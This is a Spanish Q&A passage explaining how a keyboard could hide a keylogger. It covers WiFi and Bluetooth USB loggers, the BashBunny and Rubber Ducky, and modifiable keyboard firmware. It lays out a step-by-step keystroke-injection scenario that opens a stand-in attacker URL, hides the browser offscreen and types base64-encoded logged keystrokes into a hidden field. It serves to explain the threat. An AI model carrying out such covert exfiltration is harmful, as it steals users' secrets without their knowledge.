Solución:
Los registradores de llaves USB habituales que filtran sus datos a través de Bluetooth o WiFi pueden ocultarse fácilmente dentro de un teclado. Los registradores de Bluetooth requieren que el atacante se acerque para volcar su contenido, pero un adaptador basado en WiFi que está preconfigurado con una clave de red ni siquiera requiere que el atacante esté presente para ganar. Puede enchufarlo y dejarlo ahí para siempre. Estos registradores de pulsaciones de teclas han estado disponibles comercialmente durante muchos años. Incluso hay implementaciones de código abierto disponibles en el proyecto NSA Playset, que son dispositivos diseñados para emular los dispositivos espías que se encuentran en el catálogo ANT filtrado y ahora infame de la NSA. Pero ahora, hay nuevas opciones que son aún más sofisticadas.
BashBunny es una implementación de hardware disponible comercialmente de un camaleón USB que realiza este tipo de tareas; el patito de goma USB es simplemente un simulador de teclado malvado. El BashBunny funciona ejecutando una pequeña computadora Linux que emula teclados USB genéricos, dispositivos de almacenamiento masivo USB, puertos serie USB y / o adaptadores de red USB. Los dispositivos emulados aprovechan los controladores de Windows firmados existentes que utilizan los conjuntos de chips genéricos. Dichos dispositivos pueden filtrar los datos capturados a través de la PC de la víctima simplemente emulando un teclado USB y escribiendo instrucciones para enviarlos a otra parte.
Aquí hay un ejemplo simplista de cómo podrían exfiltrar datos a través de la PC de la víctima. Imagine que el dispositivo USB oculto contiene un registrador de datos y registra sus secretos durante uno o dos días. (El BashBunny no contiene un registrador de teclas; obtiene sus datos escaneando el sistema host. Por supuesto, podría instalar un registrador de teclas y luego recolectar los datos en un momento posterior). Cuando llega el momento de enviar los datos, genera mensajes USB que contienen pulsaciones de teclas, pero el usuario no las escribe. Golpeando <Windows>R
, luego escribiendo http://www.evilhax0rs.invalid/key_logger_dump_page.php
* Puede mostrar una página de aspecto casi vacío con un cuadro de entrada oculto ubicado tan abajo en la pantalla que necesita barras de desplazamiento para encontrarlo. Ahora, imagina el teclado deshonesto golpeando <Windows><Shift><Down-Arrow>
para deslizar la ventana del navegador completamente fuera de la pantalla, ocultándola de la vista del usuario. A continuación, el teclado falso comienza a escribir todas las pulsaciones de teclas registradas en el cuadro de entrada (codificado en base64, naturalmente) y pulsa <Enter>
cuando esté terminado. Finalmente, después de que todos los secretos hayan salido del edificio, escribe <Windows><Shift><Up-Arrow>
para restaurar el navegador, luego escribe rápidamente <Control>F4
para cerrar la pestaña. Incluso si el usuario nota que las ventanas se abren antes de deslizarse fuera de la vista, puede suceder tan rápido que la víctima típica no tendrá la oportunidad de darse cuenta de lo que está sucediendo.
Como dije, estos son productos de código abierto disponibles comercialmente que puede comprar hoy; el código fuente de los dispositivos malvados y los “scripts ducky” que hacen la escritura fantasma están todos alojados en github.
* no es una página real.
Estoy leyendo la pregunta y veo “podría el teclado” y lo que me viene a la mente es que la mayoría de los teclados que he abierto tienen un Atmel32u[4,8,X] controlador, estos controladores están ejecutando un firmware que es programable en campo (aunque es posible que no tengan conexiones fáciles de alcanzar para jtag / uart). Hay proyectos de código abierto (Openhardware) que los aficionados al teclado han estado construyendo durante la mayor parte de una década basado en los procesadores de la serie Atmel32u.
No sería trivial, pero es totalmente posible escribir un keylogger usando las bases de código de fuente abierta como punto de partida (siendo TMK el más establecido: https://github.com/tmk/tmk_keyboard) Entonces podrías usar la misma metodología que un patito de goma y envía comandos a través del propio teclado para crear el agente que envía las pulsaciones de teclas a la ubicación remota.
El firmware de algunos teclados ya se ha modificado mediante ingeniería inversa (de nuevo, los entusiastas del teclado) y los proveedores incluso han intentado cifrar los paquetes de firmware para evitarlo. Aún así, no está fuera del ámbito de lo posible.